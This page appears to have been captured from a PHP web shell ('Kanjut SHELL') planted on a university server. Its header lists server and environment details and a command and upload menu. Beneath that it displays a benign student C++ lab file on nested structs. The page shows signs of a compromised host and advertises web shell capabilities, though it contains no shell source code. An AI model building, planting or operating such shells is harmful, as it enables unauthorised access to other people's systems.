Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.145.61.199
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/kebuck/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/kebuck/lab1.cpp
//
//	Page 107 for Course, Page 110 for Date, stuType, registration
//		page 111 for Testing Code
//

#include <iostream>

using namespace std;

struct Course
{
	string id;
	int section;
	int hours;
	char period;
	string location;
};

struct date
{
	int month;
	int day;
	int year;
};

struct stuType
{
	string name;
	date birth;
	char grade;
};

struct reg
{
	Course crse;
	stuType stu;
	string faculty;
};

int main()
{
	reg myReg, hisReg;

	myReg.faculty = "John Wang";
	myReg.crse.id = "CS 212";
	myReg.crse.location = "BL 12";
	myReg.crse.hours = 3;
	myReg.crse.period = 'A';

	//pg.111 Ex(a)
	// Q: myReg for student:Ally Thomas, 12/1/1991, 'B'?
	myReg.stu.name = "Ally Thomas";
	myReg.stu.birth.month = 12;
	myReg.stu.birth.day = 1;
	myReg.stu.birth.year = 1992;
	myReg.stu.grade = 'B';

	//pg.111 Ex(b)
	hisReg = myReg;
	cout << "Birth year: "<<hisReg.stu.birth.year << "\n\n"; // 1992



	return 0;
}

Stv3n404 - 2023